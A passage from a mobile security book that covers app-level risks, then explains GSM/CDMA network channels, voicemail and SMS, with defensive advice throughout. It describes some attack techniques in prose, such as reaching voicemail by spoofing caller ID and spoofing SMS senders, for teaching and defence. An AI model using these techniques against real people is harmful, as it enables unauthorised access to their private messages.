and stirred things to such a fevered pitch that a US Senator got involved. This is an 
interesting read and deserves consideration from several perspectives:

• Trevor Eckhart, the Android security researcher who originally posted on the 
issue and called Carrier IQ a “rootkit,” at androidsecuritytest.com/features/
logs-and-services/loggers/carrieriq/.

• Counterpoints to some assertions were made by security researcher Dan 
Rosenberg and published on his personal blog, “Carrier IQ: The Real Story 
(vulnfactory.org/blog/2011/12/05/carrieriq-the-real-story/).

• Carrier IQ published a detailed report, based on Trevor’s and Dan’s research, 
which explains how its software is designed and used by network operators 
(carrieriq.com/company/PR.20111212.pdf).

Moving aside the hype stirred up initially, the Carrier IQ incident illustrates that 
complex ecosystems like mobile create built-in obstacles for quickly addressing issues 
discovered on millions of deployed devices worldwide. In the end, we’re not sure if 
anybody really learned anything useful, and the jury remains out on how Carrier IQ 
might be abused in the future, even if through no fault of their own.

Some time after the Carrier IQ incident and others like it, the US Federal Trade Commission issued a 
complaint against HTC regarding its security practices, specifically citing among other things the 
“permission re-delegation” issue.

This raises another problem we see routinely, which is a classic: application input 
validation. If an app does not handle input carefully, it can be used to attack other apps. 
For example, we catalog in the chapters in this book many attacks based on this flaw, 
including: classic JavaScript eval function abuse, inappropriate execution of native code 
through JavaScript bridges, sending maliciously crafted intents to execute arbitrary 
JavaScript code, and using URL query strings to execute application functionality.

Secure On-Device Storage
Continuing our list of key mobile application risks, as we’ve noted several times already, 
thinking secrets can be stored safely in mobile software is deeply flawed. We’ve pulled 
everything from hardcoded passwords to AES keys out of software on mobile devices. 
This is not to say “don’t do it,” but you have to align the value of the data with the risk. 
The risk is high on the device because (let’s all sing along now) attacker physical access 
= high probability = game over.

Of course, some applications do need to store high-value data on the device. For 
example, mobile payments applications need some way to store payment instruments to 
enable scenarios like “tap to purchase.” We have a few key pieces of advice for mobile 
app developers thinking along these lines.
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Don’t do it. If there is a way to not store sensitive data on the device, your app will be 
more secure by design. It will take significant, intelligent effort to do it right (see the next 
two guidelines), and you probably don’t have the budget.

Use existing secure storage facilities; don’t roll your own. For example, Apple’s iOS KeyChain 
is provided in the platform for secure storage for sensitive user data that should be 
protected even if an attacker has physical access to the device. Although not perfect, by 
using iOS 5 and later, and by following a few best practices (primarily, setting a six-
character alphanumeric screen lock passcode), the KeyChain offers protection much 
better than typical developers writing their own security routines. See sit4.me/ios-
keychain-faq for more details on the strengths and weaknesses of the iOS KeyChain.

Use specially designed hardware to store secrets. A secure element (SE) is a tamper-resistant 
chip (microcontroller) that can be embedded in the device hardware or on a SIM or SD 
card. SEs are becoming increasingly available thanks to intense competition in the mobile 
payments space, primarily among Google’s Wallet (on Sprint) and Isis’s Wallet (backed 
by Verizon, AT&T, and T-Mobile). Communication with the chip is via existing smartcard 
standards, such as ISO 7816 (contact) and ISO 14443 (contactless). Implemented properly, 
it is difficult to attack. “Properly” means not exposing the secret data to the wrong 
interface. These are not trivial scenarios for developers to code, and we have on a few 
occasions found mistakes that allowed us to access data on the SE inappropriately. We’ve 
even moved SEs between devices and accessed data using apps on the recipient device 
(poor integrity checking), and we’ve accessed SEs directly via malicious apps on rooted 
phones.

Weak Authentication
Weak authentication is a classic application security problem in general, and the situation 
is no better on mobile. In particular, we find a tendency to assume that tokens on the 
mobile device are “secret,” for example, the mobile device number (MDN). We once saw 
a password reset service that required only the MDN in order to reset the account 
password (not including the secret question, which was required for other reset 
operations). How many people know your MDN? How many apps can access it via 
permissions on your phone?

Chapter 6 goes into more detail about mobile service authentication using popular 
standards like OAuth and SAML, including known attacks and countermeasures.

Failure to Properly Implement Specs
We also see a lot of problems that could have been prevented if specifications had been 
implemented properly. In one example, a WS-Security header used a cleartext username/
password rather than a hashed value. Take another simple (and unfortunately, very 
common) example: debug mode doesn’t get reset in production, resulting in critical 
things like SSL/TLS certificate validation being disabled, which is really critical to mobile 
devices exposed to man-in-the-middle attacks via the local Starbucks and similar 
venues.
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Better Developers = More Secure Code
You can’t escape the fundamental fact that better developers write better code, which 
tends to be more secure code. This is at odds with the typical desire for speed in the 
mobile development space that we see frequently. Additionally, we see a lot of outsourced 
development when it comes to mobile. Even companies with large in-house application 
development groups may not have the ability to ramp up on mobile development quickly 
enough to suit a fast-moving business initiative, so the typical reaction is to outsource to 
one of the many third-party app development shops that specialize in mobile. Be 
prepared to spend more time with mobile projects because of this—you will need to be 
more vigilant.

BYOD, MDM, Tigers, and Bears, Oh My!
The Bring Your Own Device (BYOD) phenomenon gets a lot of hype, but we don’t see this 
as anything particularly new when it comes to the endless struggles of IT departments 
for and against end users. We survived the PC revolution fine, and it was pretty messy 
when it came to data and apps living on end-user devices with very poor security 
hygiene. Rather, think of BYOD as an opportunity to take yet another bite at data 
governance—and maybe even with teeth this time. The serious risks posed by sensitive 
data on mobile devices that potentially veer into hostile environments should at least 
cause management to pause and think a bit. You have options: online only/virtual 
machine for high-security data, or across the spectrum to totally client-side, bypassable 
controls for nonsensitive stuff. Let the stakeholders choose, and hold them accountable.

Mobile device management (MDM) is frequently considered a Band-Aid for the 
mobile security problem. It works as well as a Band-Aid in most instances, which is to 
say for paper-cut-class vulnerabilities only. During testing of one of the major MDM 
vendors, attaching a debugger to the mobile device allowed us to trivially bypass screen 
lock. Again, defending against physical attacks is very hard, and you should not expect 
MDM to “solve” the problem, only alleviate some of the symptoms. We’re not saying 
“don’t use it,” but make sure to evaluate solutions carefully and map them to your 
organizational threat model realistically. Don’t over-sell MDM as a panacea.

But don’t under-sell them either. MDM and related technologies like mobile 
application management (MAM) and app integrity protection (for example, anti-
debugging and obfuscation) can contribute substantively to an overall mobile security 
posture if designed and deployed thoughtfully. We explore the potential and pitfalls of 
this evolving space further in Chapter 7.

OUR AGENDA
OK, you’ve heard our high-level perspective on the context for mobile security. Now 
what?

Our agenda for the remainder of book is to explore each component of the mobile 
risk ecosystem, including attacks and countermeasures in the traditional Hacking 
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Exposed style. We’ll look at the problem from different perspectives, including the usual 
suspects mentioned previously:

• Mobile network operators (MNOs)

• Device manufacturers (aka OEMs, hardware manufacturers, and so on)

• Mobile operating system (OS) vendors like Apple and Google

• Organizational IT (for example, corporate security’s mobile device management 
software)

• Mobile application developers

• End users

Based on this list of players, and our perspectives on the mobile risk ecosystem, we’ll 
cover topics including the following.

Chapter Topic Description

2 Cellular network As with physical attacks, if you connect to 
a malicious cellular network, it’s not your 
mobile device anymore.

3 iOS Is Apple’s walled-garden business strategy 
also a reliable security architecture? 

4 Android Can even the mighty technical and fi nancial 
resources of Google overcome the wild 
frontier of the current Android ecosystem?

5 Mobile malware It’s a rapidly evolving jungle out there. 
What defensive strategies can we learn from 
the tools and techniques used across the 
spectrum of simple to sophisticated mobile 
malware?

6 Mobile services and 
mobile web

Don’t be fooled by the pretty devices—the 
real action in security remains on the server 
side of the equation. Learn the tips and 
tricks mobile services need to adopt to keep 
the walls of the fort from crumbling.

7 Mobile device 
management

How high does MDM raise the bar for 
attackers, and is the investment worth it 
relative to the most likely attack scenarios?

8 Mobile app 
development 
security

Design and implementation guidance for 
developers who want to demonstrate due 
care in their apps.
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Chapter Topic Description

9 Mobile payments New services like Google Wallet represent 
the fi rst large-scale use of mobile for truly 
sensitive data and transactions. What 
can we learn from the designs, published 
vulnerabilities, and evolving strategies of 
these cutting-edge offerings?

Appendixes Miscellaneous Besides the above, we’ll also tackle 
some tactical topics like a mobile end-
user (consumer) security checklist and a 
professional’s mobile pen test toolkit.

A lot of combined experience from some of the top mobile security consultants in the 
world is packed into these pages—how will you use it?

Well, what are you waiting for—turn the page!

SUMMARY
In many ways, mobile presents the same security challenges as client-server computing, 
with which we’ve been struggling for many years. Rather than reinvent the wheel, we 
should continue to focus on the fundamentals, including many of the concepts we’ve 
covered in this chapter:

• First, understand what you are trying to protect:

• Data in display

• Data in transit

• Data at rest

• Develop a risk model encompassing these assets, as well as relevant threats and 
controls.

• Design your mobile solution to address the risk model.

• Integrate security into the development process using processes like code 
review and penetration testing to ensure that abuse scenarios are tested and 
implementation fl aws are discovered.

• Rinse, patch, and repeat.

For mobile application developers, turn the page to see a summary of key 
countermeasures to consider.
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• Architecture and design Align your architecture with the value of assets in 
play, for example, “remote control/no client-side data” versus “all data cached 
client-side.”

• Input/output validation Injection attacks remain the bane of application 
security; take control of what’s coming and going.

• Cache-ing and Logging Understand the mobile platforms you develop for 
and the many ways in which they can record snippets of your valuable data; 
disable and/or mitigate these as appropriate according to the sensitivity of data 
you are handling.

• Error handling Mobile scenarios may have lower tolerance for “fail closed” 
design, but that doesn’t mean it’s impossible if you can create a compelling 
recovery story.

• Device loss or capture Make sure your design incorporates last-resort 
controls: remote wipe of your data.

• Server-side strength Server-side data and processing remain the central-
most valuable assets in modern, cloud-centric threat models. Implement strong 
controls here, including application-level protections, and pay strict attention to 
often-abused support interfaces like self-help password reset.
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The cellular network underpins all of the major functionality of what we consider a 
smartphone. There does seem to be some confusion, however, about how magical 
this integral part of the cellular ecosystem actually is. Most folks, when asked how 

a cell phone works, would answer “It just does!” Although this might satisfy most people, 
it’s not a particularly satisfying answer for a security professional. Fortunately, 
understanding the basics of the cellular network doesn’t take complex calculus or a 
lifetime of experience in radio networks. We’re going to begin this chapter by introducing 
and then dissecting a standard Global System for Mobile (GSM) or Code Division 
Multiple Access (CDMA) carrier network, so you more fully understand the behind-the-
scenes work that goes on when you make a phone call, upload a picture, or send a text 
message.

For most of the discussion in this chapter, we’ll use a semi-abstracted cellular carrier 
topology that gives what we like to call “end-to-end” functionality; that is, a hypothetical 
cell phone on our hypothetical network sends and receives phone calls, sends and 
receives text messages and MMS messages, and has data connectivity via IP. This 
topology is shown in Figure 2-1.

The topology itself is actually quite simple—a cellular handset, a radio tower, some 
services, and, ultimately, the public switched telephone network (PSTN) and the public 
Internet. As we move into the next section, we’ll add detail to this diagram and explain 
how some of the most popular mobile network services can be attacked and defended.

Subscriber

Subscriber Various

Base station 
subsystem

Base station 
transceiver

Mobile network
operator

Mobile network
operator/carrier

M
obile netw

ork services

PSTN

Public
Internet

Figure 2-1 Simplifi ed GSM/CDMA mobile network
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After we pull apart the circuit switched networks, we’ll describe some of the most 
prominent attacks that have been developed over the years against the current technology, 
as well as the countermeasures to defend against those attacks.

Finally, we’ll move on to some interesting developments in the world of “Everything 
over IP.” Within the next few years, some larger mobile network operators will be moving 
toward a unified bearer network that will run—you’ve got it—exclusively over IP. This 
will mean a great deal of change—service-oriented plans, traffic quality of service levels 
(and the associated billing, we reckon!), and, potentially, the release of third-party 
applications into the “core” of the new mobile device networks. All this will happen 
pretty slowly, so don’t get your hopes up too soon, but we wanted to show you the 
commercial cutting edge as soon as possible.

BASIC CELLULAR NETWORK FUNCTIONALITY
Just about every citizen in the world has at least some access to a radio network. Plenty 
of cellular carriers are willing to run fiber or copper up a mast to provide monetized 
cellular service, whether in Kuala Lumpur, Karachi, Atlanta, or King George Island off 
the coast of Antarctica. In fact, it’s estimated1 that more than 80 percent of the terrestrial 
world is covered by some type of consumer cellular communication network, with 
3.2 billion subscribers (about 50 percent of the world’s population!). This means that two 
out of every four humans on the planet have the ability to talk to … well, another of the 
two out of every four humans anywhere else on the planet.

Coverage of this sort requires organization, cooperation, and money. From a security 
point of view, our first job is to understand how something works. Once we know that, 
we can start to take it apart, attack it, and then improve it using what we learned. Let’s 
start by looking at some of the key features of the cellular network that can create security 
problems.

Interoperability
The first advantage attackers have is they don’t have to worry about the technology in 
use to connect the cell phones, or “mobile terminals,” to the cell towers. Although 
many folks like to talk about cellular networks as if they are islands of technology, the 
simple fact is this: we’re beyond simple technical hurdles when it comes to 
communicating. I can send an SMS from a CDMA-based North-American phone to a 
GSM-based Malaysian phone just fine. Getting hung up on the lowest layer of 
technology isn’t why we’re here. The modulation type of the radio waves moving into 
and out of your phone don’t matter as much today as the functionality the phone 
brings to the table.

1 See gsmamobileeconomy.com/GSMA%20Mobile%20Economy%202013.pdf.
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For this reason, and because GSM and CDMA are the dominant radio access technologies in use 
today and thus constitute the primary attack surface, we’ll focus mainly on them. We’ll also chat a bit 
about next-generation protocols like LTE and IP-based services at the end of the chapter.

In fact, the very best part of today’s modern cellular networks happens to be exactly 
this interoperability—the fact that two differing radio technologies mean little to the 
consumer. This also makes the security researcher’s life so much easier! Hackers (of the 
good and bad kind) don’t have to waste time decoding radio transmissions because all 
of these technical details are abstracted so well by the mobile network operators (MNOs) 
that things just work. Us security types can focus mainly on the endpoints to be attacked—
and defended.

And there are lots of juicy targets in this regard, as all major cellular networks 
support

• Voice calls

• Voicemail (VM)

• Short Message Service (SMS)

• Location-based services (LBS)

• IP connectivity

with most also supporting

• Binary confi guration messages

• Multimedia messages (MMS)

• Faxing

Figure 2-2 shows you what this all looks like.
Figure 2-2 is an extremely simplified view of a relatively complex system. Even 

though GSM was designed a few decades ago, the system is solid, interoperates well, 
and is deployed worldwide. All of these features, of course, come with some 
complexity.

Let’s look quickly at the players in a GSM network deployment. You, of course, know 
that there are customers—subscribers—who carry around their mobile phones, make 
calls, send text messages, and so on. Those folks are on the left side of the diagram. In the 
GSM world, mobile devices are known as MTs, or mobile terminals. Over the course of 
their travels, these mobile terminals connect to a number of antennas—called base station 
transceivers (BTS).

The connection from a mobile device to a BTS is designated as the Um. (The U 
designation is a carryover from earlier digital signaling days, when Integrated Services 
Digital Networks, or ISDN, began offering connections to user equipment over the U 
channel. Add the m for mobile, and there you have it!) Each BTS connects to a base 
station—essentially a rack of equipment that takes the radio signals that the antenna 
receives and converts them to digital packetized data. The base station is composed 
(nowadays) of two main components—one for voice and control, called the base station 
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controller (BSC), and one for forwarding IP packets and managing mobile IP, called the 
packet control unit (PCU). Both of these devices are really the “edge” of the GSM network 
from our perspective since we normally don’t climb over fences and break into gear 
sheds (for those who do urban crawling, you can consider the Mobile Switching Center, 
or MSC, the edge of the GSM network!). The base station subsystem (BSS) combines the 
BTS, BSC, and PCU. The base station subsystem can actually be owned and cared for by 
a number of folks who are not necessarily associated with large carriers. This allows for 
smaller mobile network operators throughout individual countries, while still using 
larger, higher-coverage carriers.

Now that we’ve laid out the basic topology, let’s look at some of those juicy, attackable 
capabilities in more detail.

Voice Calls
So how do you actually make a phone call? Glad you asked. It’s taken us thousands of 
pages of standards, endless Wikipedia editing, and a whole lot of phone calls to 
understand the flow required to actually set up a phone call. In the interests of actually 
claiming that our time wasn’t wasted, we’re going to give you a pretty thorough view.

First, we need to talk a little bit about the Um channel—the connection between the 
MT and the base station. The Um channel has a number of parts, including traffic and 
control aspects. Although all of these parts have designations and separate duties, just 
remember—they’re all flowing over the same radio link, just using different time slots. 
Time division multiplexing (TDM) is a tried-and-true method for dividing up precious 
radio capacity among a host of devices. At its simplest, time division multiple access 
(TDMA) simply says that device 1 will use slot 1, device 2 will use slot 2, device 3 will use 
slot 3, and so on. Of course, that’s not helpful if you don’t know what a slot is. A slot is 
more or less a time during which a device is allowed to broadcast. If all devices start at 
the same time, using our example, you would see radio traffic from device 1 for a certain 
amount of time, then radio traffic from device 2, then radio traffic from device 3, and so 
on. This ordering allows for an orderly sharing of the available radio capacity among all 
participating devices (What happens when a device doesn’t participate? We’ll cover that 
in a moment, but think “radio jammer”). TDMA systems have been around for quite 
some time and have been hugely successful at slow and medium bit rates. (For our 
purposes, let’s stick to TDMA, but I urge those of you who actually like the physics-y 
aspect of this conversation to go look up FDMA, OFDM, and various other multiplexing 
schemes.)

So back to TDMA: Each device has a particular timeslot in which it is allowed to 
“speak.” This timeslot is essentially handed down from a controller—let’s call that 
controller the BSC—that then listens for each device’s broadcast in each device’s assigned 
timeslot. Note that the BSC—the brains of the BTS—is actually the one “listening” for 
these radio broadcasts; the BTS is really just an antenna and contains no intelligence of 
its own.

Now let’s subdivide those per-device timeslots one more time to give some order to 
the system. When a mobile device makes contact with a base station, it has to go through 
a lot of rigamarole simply to get assigned a timeslot that it might use. Once a device has 
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been authenticated and begins to use the cellular network for actual services, things get 
slightly more complicated. At the point when, say, a subscriber wishes to make a call, or 
send a text message, the mobile device has been listening to five or six broadcast channels, 
sent a few messages to the base station controller, and has quite likely been told to 
reassign its radio from one frequency to another a few hundred times.

Here’s the takeaway from all this: the cellular network relies on a number of techniques 
to make it seem like you aren’t competing with 500 other customers for precious capacity 
inside a cell site. The primary technique is to divide up the radio spectrum into channels 
for control, data, and voice.

The Control Channels
Imagine how many folks connect to a cell site near a stadium on game night or at a movie 
theatre during the next Bond flick. Concentrations can be on the order of thousands of 
mobile devices per cell in big cities, and the cellular network copes just about all the time. 
The way the cellular network copes is a retinue of uplink (from the mobile device to the 
cellular tower), downlink (from the cellular tower to the mobile device), and broadcast 
channels all working in concert to deliver a seamless experience to the user. Generally 
speaking, the channels can be broken into two main categories: mobile signaling and 
control, and traffic channels. Traffic channels carry voice data, whereas control channels 
manage everything else about the mobile device’s association, usage, handoff, and 
disconnection from the cellular network.

The control channels are the really, really interesting part of the GSM system. We’re 
going to take a moment to give you a peek at the complexity under the hood of a simple 
thing like turning on a cell phone. You’ll notice in Figure 2-3 that we’ve placed arrows on 
the individual boxes that label each channel; these arrows denote the direction of data 
for that channel. A channel with an arrow in only one direction is “read-only” and usually 
contains status information. These channels are generally not interesting from an injection 
point of view, but ultimate havoc can be wrecked by modifying the data or drowning out 
broadcast and common control channels. A cell phone jammer is really just a moderately 
loud, badly tuned transmitter. It also happens to be relatively easy to build. If you simply 
search online for cell phone jammer, you’ll find hundreds of designs, some useful and 
some not. Quite the denial of service attack, until you’re pinpointed by radio trilateration 
and thrown in jail.

The Broadcast Control Channel: Learning About the Network
When a cellular device first turns on, it knows very little about the world around it. It 
begins to listen to various frequencies (which it does know, thanks to international 
treaties and spectrum agreements). These various frequencies generally correspond to 
channels (see Figure 2-3) that are allocated to the device based on its radio capabilities 
and geographic origin. Usually, the first thing that a phone “hears” will be the BCCH, or 
the Broadcast Control Channel. The BCCH contains information that allows the mobile 
device to synchronize and understand which network it is attaching to, along with 
features (like neighboring cell identities and channel information) of the network the 
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BTS is serving. The mobile device then knows how to access the RACH, or Random Access 
Channel. The RACH is essentially the first stop in a GSM handshake between a mobile 
device and a BTS. The RACH is how the mobile asks for information on becoming 
associated with a particular cell within the cellular network. Once the mobile has sent a 
channel request via the RACH, the BTS tries to service the request. If the BTS has slots 
free in its radio configuration (available capacity), it assigns a control channel, called the 
Standalone Dedicated Control Channel (SDCCH), to the mobile device. The BTS tells the 
mobile device about this assignment via the uninspiringly named Access Granted 
Channel(AGCH). Once the mobile device has received an SDCCH, it is a member of the 
network and can request what’s known as a location update.

LocationUpdate
A location update really means that your mobile device is letting the GSM network know 
which area it’s in. It also requires, in general, that the mobile device authenticates with 
the network. All of this back and forth takes just about a second or so, depending on load 
within the cell and radio quality. Usually, this task is done before you even have a chance 
to unlock your phone. The location update informs the Home Location Register (HLR)—a 
database of subscriber information—of the current geographic area (and, hence, which 
Mobile Switching Center, or MSC) a device is located within.

Somewhat counterintuitively, once the mobile device has performed a location 
update, the base station controller tells the mobile device to “go to sleep” by deallocating 
the SDCCH that it assigned only a few short seconds ago. This maximizes reuse and 
capacity in dense cells to ensure everyone gets a decent quality of service.

Authentication and A5/1, CAVE, and AKA

We won’t get into authentication in this volume, as it would take a couple dozen 
pages to really give you an idea of how it works, how it’s flawed, and how it could 
work better. This is best left as an exercise for the reader to investigate acronyms like 
A5/1, CAVE, and AKA. The A5/* series of ciphers generally cover GSM networks, 
whereas CAVE and AKA cover CDMA, for those interested in a broad breakdown. 
AKA will reappear later when IP multimedia subsystems become the system 
architecture of choice for mobile carriers. A5 has been known to be insecure for many 
years, but the fact is that locality (being able to eavesdrop on the radio signals from 
handset to base station) and equipment have generally kept folks from panicking 
about it. From our perspective, it’s not the past that’s interesting, but the future—
SIP-based phone calls, pure-IP connectivity, and web-based services. For those 
interested in the previous work on cracking A5 on GSM networks, we recommend 
events.ccc.de/congress/2009/Fahrplan/events/3654.en.html as the easiest starting 
point.
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Voice Mailboxes
Voicemail is one of those throw-back technologies that is really, really useful, and yet we 
tend to marginalize it quite a bit. Cast your mind back to the “voicemail hacking” 
scandals that rocked the print publishing world this past year, however, and you might 
reconsider relegating voicemail to the “has-been” tech pile.

Voicemail has always been a fundamental service associated with the phone system, 
and as technology has advanced, so has voicemail. We went from simple analog recording 
devices to digital message storage (and management) to voicemail as IMAP and now to 
voicemail as a cloud service.

Voicemail, at its simplest, is really just a mechanism for connecting a phone call to a 
recording device, saving that digitized file somewhere, and helpfully replaying that 
sound file during another call—usually when the mailbox owner calls in. The system 
itself can’t be much simpler, but it does offer a number of interesting possibilities for 
theft, loss, and misdirection. Most current voicemail systems operate on a funny interplay 
for SMS messages, phone calls, and, interestingly, IMAP mailboxes!

Many large carriers, in the interest of reusing technical know-how and system 
knowledge, have moved toward an IP-based voicemail implementation. Many of these 
implementations are really just thinly veneered IMAP servers that serve up IMAP 
mailboxes using simple phone numbers. As we move into the future, we may even see a 
move toward web-service-based pure-IP solutions. As security practitioners, this gives 
us pause. Whereas the telecom giants have been, in general, relatively protected from 
script kiddies and low-hanging fruit, the looming standardization and lowest-common 
denominator approach to technology deployment will create a wealth of opportunities 
for folks to make systems more reliable, more secure, and more functional; it will also 
allow folks who troll through vulnerability message boards and websites to suddenly 
find errors more easily, unless we all do our jobs correctly and ensure that we deploy 
well-configured and well-protected applications and services.

Short Message Service
SMS is one of the most interesting features of the cellular network, which is a little strange 
because its addition was an afterthought. SMS messaging has become the de facto 
standard for most folks born after the 1970s—we’d rather tap out a quick “omw, eta 5” 
than call up our best friend and say “Yep, I’ll be there in 5 minutes.” Go figure.

The SMS system is actually piggy-backed on the control channel for mobile phones—
the control channel that normally sets up phone calls, tears down phone calls, and 
manages radio channel allocation and radio access network housekeeping. Turns out 
that people didn’t really invent GSM with the idea of SMS, but rather the idea of SMS got 
added on at a later date. A number of folks have said that the cellular network would be 
vulnerable to an “SMS flooding attack” (smsanalysis.org), and they’re somewhat correct. 
Since the SMS delivery channel naturally contests the control channel, someone could 
conclude fairly pretty quickly that if an attacker were able to send a ridiculous number 
of SMS messages—on the order of hundreds a second to flood a cell to hundreds of 
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thousands a second to flood a region—that you’d have quite a nice attack. The cell 
providers, however, are a resourceful lot.

SMS messages actually travel via a couple of the logical control channels we described 
in Figure 2-3. Usually, messages are delivered either over the SDCCH when a user is not 
on a call, or over the Slow Associated Control Channel (SACCH) if the user happens to be 
talking at the time. A single SDCCH has a nominal data rate of between approximately 
0.6 kbit/sec to 2.4 kbit/sec, depending on the configuration and usage of the channels on 
a per-BTS basis. This means, in a best-case scenario, it takes about 0.07 seconds to send a 
160-character message to a mobile device, and in a least-provisioned case, approximately 
0.27 seconds. You would have to send a message that would bypass SMS Service Center 
(SMSC) timers and flood controls at least four times a second to a single subscriber for 
the subscriber to notice anything at all wrong with the network. Most likely, he or she 
would be flooded with text alerts, and no real harm would come to the GSM network in 
any event.

There is a second and slightly more interesting point in all of this—remember how 
we mentioned that providers are a resourceful lot? Well, they’ve thought of this issue as 
well. Since their minds are usually focused on keeping customers happy and maintaining 
network reliability, they decided early on that SMS messages would be managed by a 
system of timeouts and prioritization. This timeout and prioritization system usually 
ensures that the SMS Service Centers, or SMSCs, bear the brunt of the load when an SMS 
message storm happens. These things happen all the time—at sporting events, during 
emergencies, on Friday evenings … and when they do, text messages rarely interfere 
with call setup or teardown. When issues like SDCCH contention do arise, it is generally 
due to misconfigured equipment, rather than an issue with, say, the GSM specification 
itself.

And now let’s come back to the original point of this section—the SMSC is, quite 
literally, the hardest working piece of equipment in just about all modern cellular 
providers’ networks. With only a couple of data centers and just a few dozen SMS Service 
Centers, nationwide providers deliver over a 100 billion messages a month. That’s more 
than 1.2 trillion messages a year. These SMSCs are built for a simple task, and they excel 
at it: receive a message, read the destination phone number, and then find that phone 
number’s location and send the message on for delivery. Sounds simple, and it is, but the 
humble text messages aren’t just for sending emoticons…

SMS messages have an interesting feature—they are not just for texting! A few short 
years ago, when Java Mobile Information Device Profile (MIDP) and Connected Limited 
Device Configuration (CLDC) devices were making their way through the world, it was 
old hat to receive a specially formed text message, with a user data header (UDH) 
specifying a port to direct the message to. This was how the Java folks implemented per-
application messaging, and it was, technically, quite good. It used existing SMS 
infrastructure (which is pretty robust); it used a simple idiom for identifying applications 
(“ports,” which looked and behaved very much like TCP or UDP ports); and it was 
accessible without too much fuss from any application and without special libraries or 
carrier fees.
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The SMS message is actually a multipurpose mechanism for short communication 
between not only the user and other users, but also network elements (like configuration 
servers) to a mobile device and other mobile devices (like a peer-to-peer Java application). 
The UDH is generally the most useful extension to the SMS message, and it includes a lot 
of potential features:

• Changing reply-to phone number (UDH 22)

• Message concatenation (UDH 08)

• Message indicator settings—video, voice, text, email, fax (UDH 01)

• Ported SMS message (UDH 05)

We won’t go into all of the wonderful things you can do with these sorts of messages 
here because you can find tutorials all over the place (just type UDH tutorials into the 
search engine of your choice). Keep this in mind, however: The SMS message has grown 
and evolved over time, and the fact is that it has been, and remains, a powerful capability 
in mobile networks. A combination of standards, operator configuration, and handset 
configuration means that SMS messages can potentially create a lot of damage if operators 
and handset makers aren’t careful about what they place inside these messages and what 
sort of trust relationships these messages invoke.

Many years ago, a phone manufacturer decided to allow “configuration messages” 
to be sent to its handsets. Because the handset blindly obeyed the configuration directives 
in these messages, attackers could easily misconfigure mobile devices so long as they 
knew the victim’s phone number. Remember that an SMS message, by and large, has 
zero authentication, zero integrity checking, and zero confidentiality. Anyone in the 
world is allowed to send you a text message. Even if mobile network operators filter 
particular message types and features, like the UDH tomfoolery we just described, there 
are still potentially millions of people on your home network.

One of the annoying facts of life happens to hit you when you need to make multiple 
systems work together for a common cause. In our case, let’s say that this common cause 
is a fully featured smartphone—one that you might use to email, text, and call your 
friends or business partners. Using a standard interface, like Apple iOS, you happen to 
be at the mercy of the UX designer’s decisions. In the case of the iOS UDH reply-to hack, 
iOS decides to display the “reply-to” number rather than the originating phone number. 
The horrible part is that most folks using a phone would never consider double-checking 
the origin of a text message. Pod2g describes the scenarios here: pod2g.org/2012/08/
never-trust-sms-ios-text-spoofing.html.

In addition to the iOS UDH reply-to hack, which makes it easier for an attacker to 
fool a user, there is another route to faking SMS messages, and it has nothing to do with 
the cellular network. In most cases, privileged and sometimes nonprivileged applications 
can simply create SMS messages out of thin air. This would, for instance, allow an attacker 
to install an app on someone’s phone and send authentic SMS texts directly to the user’s 
inbox: check out bitdefender.com/security/android-vulnerability-opens-door-to-sms-
phishing-scams.html.
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While it’s possible that something malicious will never happen to you, you’re likely 
reading this book because you’re a security-oriented person, so we ask: If you get the 
chance to design a system like this in the future, will you please include some strong 
authentication? Thanks.

ATTACKS AND COUNTERMEASURES
OK, we’ve examined the basics of the cellular network; let’s talk about how to attack and 
how to defend it.

Hacking Mobile Voicemail
Perhaps the best known “mobile” hack in recent memory was the News of the World 
break-ins to the voicemail accounts of people in the UK. Think we’ve learned our lessons 
from this? No, turns out that (even in the United States) may MNOs still configure 
voicemail accounts, by default, to authenticate anyone calling from the corresponding 
mobile phone number, without prompting for the voicemail password. In the case of the 
News of the World, the results were more tragic,2 but we’ve seen this hack performed to 
neat affect at parties where colleagues who’ve set up their own private PBX servers 
(using, for example, open source frameworks like Asterisk). With such a setup, you can 
rout calls and spoof caller ID numbers easily. This makes it trivial to access anyone’s 
voicemail as long as you know their mobile phone number. We’ve had this trick pulled 
on us, and it’s quite disarming when someone simply asks for your phone number, 
makes a call, and an instant later holds up the phone while it plays your voicemail 
messages back to you.

Even worse, services exist on the Internet that perform caller ID spoofing for a small 
fee, so you can perform this hack from any computer attached to the Internet. John 
Keefe writes about his experiences with this version of the trick at wnyc.org/articles/
wnyc-news/2011/jul/18/hacking-voicemails-scary-easy-i-did-it/. Keefe’s article also 
documents (again) why this is still possible: “AT&T spokesman Mark Siegel said that 
for convenience, AT&T customers ‘also have the option of not entering your password 
when accessing your voice mail from your mobile phone.’” Once again, easy trumps 
secure. Sigh.

Countermeasures for Mobile Voicemail Hacks
We’ll keep this short and simple—set a voicemail password (of reasonable complexity), 
and configure access so that entering the password is required in all cases (even when 
calling from your own phone!).

2 The paper hacked into the voicemails of a 13-year-old girl who was killed.
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Rogue Mobile Devices
Back when Apple claimed that jailbroken iPhones would be a serious threat to the cellular 
network, they actually meant it. Just because no one has done anything bad with the 
technology doesn’t mean it won’t necessarily happen. In fact, the major stumbling block 
to a “cell phone–based network attack” is really volume—you’d need a lot of cell phones 
spread out geographically to really affect the cellular network in a meaningful and 
media-attention-grabbing way. Much like a single person with a cell phone jammer is 
really just an annoyance, imagine what would happen if every fifth or sixth person you 
meet just happened to have an active radio-blocking device?

Another interesting point, as long as we’re talking about the phone, if you’ve ever 
looked into the software innards of an iOS or an Android device, chances are that you’ve 
started to see similarities to various flavors of Unix—directory structure, libraries, file 
formats, and so on. This can be summed up in two simple sentences: “iOS is BSD,” and 
“Android is Linux.” Although not technically this simple, the nature of the iOS operating 
system is that it owes a significant part of its existence to Berkeley UNIX, and the Android 
operating system is essentially embedded Linux with some libraries and management 
capabilities not normally found on laptop or desktop builds.

What’s the upshot here? Anyone who’s been breaking, building, or researching on 
either BSD or Linux can take 90 percent of their hard-won experience and immediately 
apply it to iOS or Android devices.

So how can the phone affect the network? Remember the simple diagram of the GSM 
network shown in Figure 2-2? You’ll recall that we had a phone connected over radio to 
a base station transceiver (BTS) using a Um channel. As it happens, the Um channel is 
actually a number of different logical and physical channels, all stacked together to give 
the illusion of seamless calls, texts, emails, and Internet access to mobile terminals. When 
you send and receive calls, for instance, a number of logical channels are put into play to 
orchestrate a telephone call. If you had possession of a modified mobile device, one 
which, say, could selectively jam or modify broadcast signals or important network 
information transmissions from a BTS, then you could control or jam any other legitimate 
cell phone within your broadcast range. All in all, it’s a pretty horrible scenario to 
consider. The main issue here is locality: a single attacker with a single phone is really 
just a nuisance. Consider, though, what would happen if every single phone from a 
